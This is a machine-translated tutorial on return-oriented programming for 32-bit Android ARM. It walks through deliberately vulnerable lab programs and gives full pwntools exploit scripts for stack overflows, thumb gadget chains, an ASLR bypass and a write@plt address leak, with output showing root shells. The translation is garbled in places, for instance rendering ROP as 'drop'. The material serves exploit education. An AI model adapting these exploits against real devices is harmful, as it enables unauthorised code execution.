Android ARM 32-bit

Source: Internet
Author: User

Android ARM 32-bit

0x00

The full name of drop is Return-oriented programming, which is an advanced memory attack technology, it can be used to bypass various universal defenses of modern operating systems (such as memory unexecutable and code signature ). Previously, we mainly discussed the drop-down attack on linux:

One step to learn the drop of the Linux _ x86 Article http://drops.wooyun.org/tips/6597 step by step to learn the drop of the Linux _ x64 Article step by step to learn the drop of the gadgets and 2free article

In this tutorial, we will introduce the technology used by rop on arm. You are welcome to continue learning.

The Code involved in this article can be downloaded from my github:
Https://github.com/zhengmin1989/ROP_STEP_BY_STEP

0x01 Buffer Overflow on ARM

As a programmer, our goal is to write "hello world" in all languages ". Similarly, as a security engineer, our goal is to exploit buffer overflow in all languages. :) Because buffer overflow is too classic, our arm article also starts from buffer overflow.

First, let's look at the first program level6.c:

#!c#include
 
  #include
  
   #include
   
    void callsystem(){system("/system/bin/sh");}void vulnerable_function() {char buf[128];read(STDIN_FILENO, buf, 256);}int main(int argc, char** argv) {if (argc==2&&strcmp("passwd",argv[1])==0)callsystem();write(STDOUT_FILENO, "Hello, World\n", 13);    vulnerable_function();}
   
  
 

Our goal is to get the shell without using the password. To reduce the difficulty, we first remove the stack canary (create Application. mk in the jni directory and add APP_CFLAGS + =-fno-stack-protector ). Then compile with ndk-build. Copy the level6 file to the "/data/local/tmp" directory. Next, we bind the target program as a service to a port on the server. here we can use the socat tool. Finally, let's make another port forwarding. The preparation is complete. The basic commands are as follows:

#!bashndk-buildadb push libs/armeabi/level6 /data/local/tmp/adb shellcd /data/local/tmp/./socat TCP4-LISTEN:10001,fork EXEC:./level6adb forward tcp:10001 tcp:10001

Now let's try to connect:

#!bash$ nc 127.0.0.1 10001Hello, World

Found to work properly. OK, so let's start with BOF.

Like x86, we first use pattern. py to determine the overflow location. Run the following command:

#!bashpython pattern.py create 150 

Generate a string of 150 bytes for testing:

#!bashAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

Then we write a py script to send this string of data.

#!python#!/usr/bin/env pythonfrom pwn import *#p = process('./level6')p = remote('127.0.0.1',10001)p.recvuntil('\n')raw_input()payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9"p.send(payload)p.interactive()

However, we need to obtain the value of the pc at the time of crash, so before sending data, we should load level6 with gdb.

Run the python script on the computer:

#!bash[pc]$ python test.py [+] Opening connection to 127.0.0.1 on port 10001: Done…

Then, use ps in the adb shell to obtain the level6 pid, then mount level6, and then use c to continue:

#!bash[adb]# ./gdb --pid=4895GNU gdb 6.7Copyright (C) 2007 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later 
 
  ……Loaded symbols for /system/lib/libm.so0xb6eff268 in read () from /system/lib/libc.so(gdb) cContinuing.
 

Then, press enter on the computer to send data to the script. Then we can see the crashed pc value in gdb:

#!bashProgram received signal SIGSEGV, Segmentation fault.0x41346540 in ?? ()(gdb) 

Because the level6 we compiled uses the thumb mode by default, we need to add a 1: 0x41346540 + 1 = 0x41346541 to the crashed address. Use pattern. py to calculate the overflow point location:

#!bash$ python pattern.py offset 0x41346541hex pattern decoded as: Ae4A132

OK. We know the overflow point. Next let's look for the returned address. Actually, the code used already exists in the program. We just need to point the pc to the address of the callsystem () function. In ida, we can see that the address is 0x00008554:

Because callsystem () is compiled into the thumb command, we need to add address + 1 to let the pc know that the code here is the thumb command. The final exp is as follows:

#!python#!/usr/bin/env pythonfrom pwn import *#p = process('./level6')p = remote('127.0.0.1',10001)p.recvuntil('\n')callsystemaddr = 0x00008554 + 1payload =  'A'*132 + p32(callsystemaddr)p.send(payload)p.interactive()

The execution result is as follows:

#!bash$ python level6.py [+] Opening connection to 127.0.0.1 on port 10001: Done[*] Switching to interactive mode$ /system/bin/iduid=0(root) gid=0(root) context=u:r:shell:s0
0x02 search for thumb gadgets

Let's look at the second program level7.c:

#!c#include
 
  #include
  
   #include
   
    char *str="/system/bin/sh";void callsystem(){system("id");}void vulnerable_function() {char buf[128];read(STDIN_FILENO, buf, 256);}int main(int argc, char** argv) {if (argc==2&&strcmp("passwd",argv[1])==0)callsystem();write(STDOUT_FILENO, "Hello, World\n", 13);    vulnerable_function();}
   
  
 

In this program, even if we know the password, we can only execute the "id" command. Our goal is to get a usable shell, that is, execute system ("/system/bin/sh "). What should we do? Here we need to find the available gadgets, first let r0 point to the address of the "/system/bin/sh" string, and then call the system () function to achieve our goal.

How to find the gadgets? Although ida or objdump can be used for search, it is time-consuming and laborious. Here I recommend ROPGadget. Because level7 is compiled into the thumb command by default, we also use the thumb mode to find the gadgets:

#!bash$ ROPgadget --binary=./level7 --thumb | grep "ldr r0"0x00008618 : add r0, pc ; b #0x862e ; ldr r0, [pc, #0x10] ; add r0, pc ; ldr r0, [r0] ; b #0x8634 ; movs r0, #0 ; pop {pc}0x0000861e : add r0, pc ; ldr r0, [r0] ; b #0x862e ; movs r0, #0 ; pop {pc}0x0000893e : add r3, sp, #0xc ; movs r1, #0 ; str r3, [sp] ; adds r3, r1, #0 ; bl #0x8916 ; ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}0x000090fe : add r3, sp, #0xc ; str r3, [sp] ; movs r2, #0xc ; adds r3, r1, #0 ; bl #0x8916 ; ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}0x000093ca : add sp, #0x10 ; pop {r4, pc} ; push {r3, lr} ; bl #0x911c ; ldr r0, [r0, #0x48] ; pop {r3, pc}0x00008826 : add sp, r3 ; pop {r4, r5, r6, r7, pc} ; mov r8, r8 ; stc2 p15, c15, [r4], #-0x3fc ; ldr r0, [r0, #0x44] ; bx lr……

Among these gadgets, we have successfully found a gadget that can meet our requirements:

#!bash0x0000894a : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}

Next, find the addresses of system and "/system/bin/sh", which are 0x00008404 and 10996c0 respectively:

Note that the system () function is not compiled into the thumb command in the plt region, but is a common arm command. Therefore, the address is not required to be added to 1. Finally, level7.py is as follows:

#!python#!/usr/bin/env pythonfrom pwn import *#p = process('./level7')p = remote('30.10.20.253',10001)p.recvuntil('\n')#0x0000894a : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}gadget1 = 0x0000894a + 1#"/system/bin/sh"r0 = 0x000096C0#.plt:00008404 ; int system(const char *command)systemaddr = 0x00008404 payload =  '\x00'*132 + p32(gadget1) + "\x00"*0xc + p32(r0) + "\x00"*0x4 + p32(systemaddr)p.send(payload)p.interactive()

The execution result is as follows:

#!bash$ python level7.py [+] Opening connection to 30.10.20.253 on port 10001: Done[*] Switching to interactive mode$ /system/bin/iduid=0(root) gid=0(root) context=u:r:shell:s0
0x03 ASLR on Android

ASLR on Android is actually a pseudo ASLR, because if the program is fork by zygote, then all the system libraries (libc, libandroid_runtime, etc) the base address of dalvik-heap is the same and the memory layout of zygote is the same. For example, let's take a look at two processes fork by zygote:

#!bashroot@hammerhead:/ # cat /proc/1698/maps400e8000-400ed000 r-xp 00000000 b3:19 8201       /system/bin/app_process400ed000-400ee000 r--p 00004000 b3:19 8201       /system/bin/app_process400ee000-400ef000 rw-p 00005000 b3:19 8201       /system/bin/app_process400ef000-400fe000 r-xp 00000000 b3:19 8248       /system/bin/linker400fe000-400ff000 r-xp 00000000 00:00 0          [sigpage]400ff000-40100000 r--p 0000f000 b3:19 8248       /system/bin/linker40100000-40101000 rw-p 00010000 b3:19 8248       /system/bin/linker40101000-40104000 rw-p 00000000 00:00 0 40104000-40105000 r--p 00000000 00:00 0 40105000-40106000 rw-p 00000000 00:00 0          [anon:libc_malloc]40106000-40109000 r-xp 00000000 b3:19 49324      /system/lib/liblog.so40109000-4010a000 r--p 00002000 b3:19 49324      /system/lib/liblog.so4010a000-4010b000 rw-p 00003000 b3:19 49324      /system/lib/liblog.so4010b000-40153000 r-xp 00000000 b3:19 49236      /system/lib/libc.so40153000-40155000 r--p 00047000 b3:19 49236      /system/lib/libc.so40155000-40158000 rw-p 00049000 b3:19 49236      /system/lib/libc.soroot@hammerhead:/ # cat /proc/1720/maps400e8000-400ed000 r-xp 00000000 b3:19 8201       /system/bin/app_process400ed000-400ee000 r--p 00004000 b3:19 8201       /system/bin/app_process400ee000-400ef000 rw-p 00005000 b3:19 8201       /system/bin/app_process400ef000-400fe000 r-xp 00000000 b3:19 8248       /system/bin/linker400fe000-400ff000 r-xp 00000000 00:00 0          [sigpage]400ff000-40100000 r--p 0000f000 b3:19 8248       /system/bin/linker40100000-40101000 rw-p 00010000 b3:19 8248       /system/bin/linker40101000-40104000 rw-p 00000000 00:00 0 40104000-40105000 r--p 00000000 00:00 0 40105000-40106000 rw-p 00000000 00:00 0          [anon:libc_malloc]40106000-40109000 r-xp 00000000 b3:19 49324      /system/lib/liblog.so40109000-4010a000 r--p 00002000 b3:19 49324      /system/lib/liblog.so4010a000-4010b000 rw-p 00003000 b3:19 49324      /system/lib/liblog.so4010b000-40153000 r-xp 00000000 b3:19 49236      /system/lib/libc.so40153000-40155000 r--p 00047000 b3:19 49236      /system/lib/libc.so40155000-40158000 rw-p 00049000 b3:19 49236      /system/lib/libc.so

We can see that the addresses are identical. What does this mean? We know that all apps on android are from zygote fork, so we only need to get the address of library libc. so on our app to know the address of other apps.

Suppose we already know the address of the libc. so in the memory of the target app, how should we control the pc to execute the expected rop? OK. Now let's look at level8.c:

#!c#include
 
  #include
  
   #include
   
    #include
    
     void getsystemaddr(){void* handle = dlopen("libc.so", RTLD_LAZY);printf("%p\n",dlsym(handle,"system"));fflush(stdout);}void vulnerable_function() {char buf[128];read(STDIN_FILENO, buf, 256);}int main(int argc, char** argv) {getsystemaddr();write(STDOUT_FILENO, "Hello, World\n", 13);    vulnerable_function();}
    
   
  
 

This program will first output the system address, which is equivalent to the memory layout of the process we have obtained. The next step is to find the desired gadgets and string address in libc. so. Because libc. so is very large, we do not have to worry about not finding the desired gadgets, and we only need to control a r0. Therefore, these gadgets can meet our needs:

#!bash0x00014f48 : ldr r0, [sp, #4] ; pop {r1, r2, r3, pc}0x0002e404 : ldr r0, [sp, #4] ; pop {r2, r3, r4, r5, r6, pc}0x00034ace : ldr r0, [sp] ; pop {r1, r2, r3, pc}

In libc. so, find the location of system () and "/system/bin/sh:

The addresses are 0x000253A4 and 0x0003F9B4. Of course, even if we get these addresses, we also need () only when the address in the memory is offset calculated can the addresses of the gadgets and "/system/bin/sh" in the memory be successfully found. In addition, you should also pay attention to the thumb command and arm command conversion issues. The final exp level8.py is as follows:

#!python#!/usr/bin/env pythonfrom pwn import *#p = process('./level8')p = remote('127.0.0.1',10001)system_addr_str = p.recvuntil('\n')print "str:" + system_addr_strsystem_addr = int(system_addr_str,16)print "system_addr = " + hex(system_addr)p.recvuntil('\n')#.text:000253A4                 EXPORT system#0x00034ace : ldr r0, [sp] ; pop {r1, r2, r3, pc}gadget1 = system_addr + (0x00034ace - 0x000253A4)print "gadget1 = " + hex(gadget1)#.rodata:0003F9B4 aSystemBinSh    DCB "/system/bin/sh",0r0 = system_addr + (0x0003F9B4 - 0x000253A4) - 1print "/system/bin/sh addr = " + hex(r0)payload =  '\x00'*132 + p32(gadget1) + p32(r0) + "\x00"*0x8 + p32(system_addr)p.send(payload)p.interactive()

The execution result is as follows:

#!bash$ python level8.py [+] Opening connection to 127.0.0.1 on port 10001: Donesystem_addr = 0xb6f1e3a5gadget1 = 0xb6f2dacf/system/bin/sh addr = 0xb6f389b4[*] Switching to interactive mode$ iduid=0(root) gid=0(root) context=u:r:shell:s0
0x04 information leak on Android

In the above example, we assume that we already know the base address of libc. so, but what if we launch a remote attack without calling the system () function in the original program? This means that the memory layout of the target program is random for us. We cannot directly call the gadgets in libc. so because we do not know the address of libc. so in the memory. In fact, this is also a solution. We first need an information leak vulnerability to obtain the libc. so address in the memory, and then control the pc to execute our rop. Now let's look at level9.c:

#!c#include
 
  #include
  
   #include
   
    #include
    
     void vulnerable_function() {char buf[128];read(STDIN_FILENO, buf, 512);}int main(int argc, char** argv) {write(STDOUT_FILENO, "Hello, World\n", 13);vulnerable_function();}
    
   
  
 

Although the program is very simple, few available gadgets are available. But the good news is that in addition to the functions implemented by the program itself, we can also use the write @ plt () function. However, because the program itself does not call the system () function, we cannot directly call system () to obtain the shell. But we actually have the write @ plt () function, because we can use the write @ plt () function to write the address of the write () function in the memory, that is, write. got is printed. Since the write () function is implemented in libc. so, why does the write @ plt () function that we call also implement the write () function? This is because android and linux adopt the latency binding technology. When we call write @ plit (), the system will link the real write () function address to the write of the got table. in got, then write @ plit () According to write. got jumps to the real write () function. (If you are still confused, we recommend that you read the book "Programmer self-cultivation-link, loading and library" by Pan aimin, I won't tell you what Mr. Pan is my supervisor ...)

Because the system () function and write () function are in libc. the offset (relative address) in so is unchanged, so if we get the write () Address and have libc on the target mobile phone. so, you can calculate the address of the system () in the memory. Then we can return the pc pointer back to the vulnerable_function () function to launch the second overflow attack. This time, we know the address of system () in the memory, you can call the system () function to obtain our shell.

Note that the write () function has three parameters. Therefore, we need to control r1 and r2. The program has the following gadget to meet our requirements:

#!bash#0x0000863a : pop {r1, r2, r4, r5, r6, pc}

In addition, in order to return vulnerable_function () again, we need to construct the stack data after the write function is executed, so that the program can execute add sp, SP, #0x84; after POP {PC}, the PC can point to 0x000084D8 again.

The final explevel9.py is as follows:

#!python#!/usr/bin/env pythonfrom pwn import *#p = process('./level7')p = remote('30.10.20.253',10001)p.recvuntil('\n')#0x00008a12 : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}gadget1 = 0x000088be + 1#0x0000863a : pop {r1, r2, r4, r5, r6, pc}gadget2 = 0x0000863a + 1#.text:000084D8 vulnerable_functionret_to_vul = 0x000084D8 + 1#write(r0=1, r1=0x0000AFE8, r2=4)r0 = 1r1 = 0x0000AFE8r2 = 4r4 = 0r5 = 0r6 = 0write_addr_plt = 0x000083C8payload =  '\x00'*132 + p32(gadget1) + '\x00'*0xc + p32(r0) + '\x00'*0x4 + p32(gadget2) + p32(r1) + p32(r2) + p32(r4) + p32(r5) + p32(r6) + p32(write_addr_plt) + '\x00' * 0x84 + p32(ret_to_vul)p.send(payload)write_addr = u32(p.recv(4))print 'write_addr=' + hex(write_addr)#.rodata:0003F9B4 aSystemBinSh    DCB "/system/bin/sh",0#.text:000253A4                 EXPORT system#.text:00020280                 EXPORT writer0 = write_addr + (0x0003F9B4 - 0x00020280)system_addr = write_addr + (0x000253A4 - 0x00020280) + 1print 'r0=' + hex(r0)print 'system_addr=' + hex(system_addr)payload2 =  '\x00'*132 + p32(gadget1) + "\x00"*0xc + p32(r0) + "\x00"*0x4 + p32(system_addr)p.send(payload2)p.interactive()

The result of executing exp is as follows:

#!bash$ python level9.py [+] Opening connection to 30.10.20.253 on port 10001: Donewrite_addr=0xb6f27280r0=0xb6f469b4system_addr=0xb6f2c3a5[*] Switching to interactive mode$ /system/bin/iduid=0(root) gid=0(root) context=u:r:shell:s0
0x05 Android ROP debugging skills

Because gdb does not parse the thumb command, I recommend using ida for debugging. If you still don't use ida, you can read the ida debugging article I wrote earlier:

Seven Weapons of Android dynamic debugging peacock-Ida pro http://drops.wooyun.org/tips/6840

In addition, an important technique is how to make ida correct parsing instructions. Ida often does not know whether the command to be parsed is thumb or arm. Sometimes it does not even know what it is.

The ratio is the code of system in libc. so:

This code is actually a thumb command, but how can we make ida parse correctly? You can select 0xB6EE03A4 with the mouse, press alt + g, and change the value to 0x1. In this way, ida will parse the data according to the thumb command.

Then we select the data and press the c key to see that the command is correctly parsed.

0x06 Summary

This article introduces the 32-bit android drop-down. In the next article, I will continue to introduce the skills for using the 64-bit arm and iOS OSS. You are welcome to continue learning.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.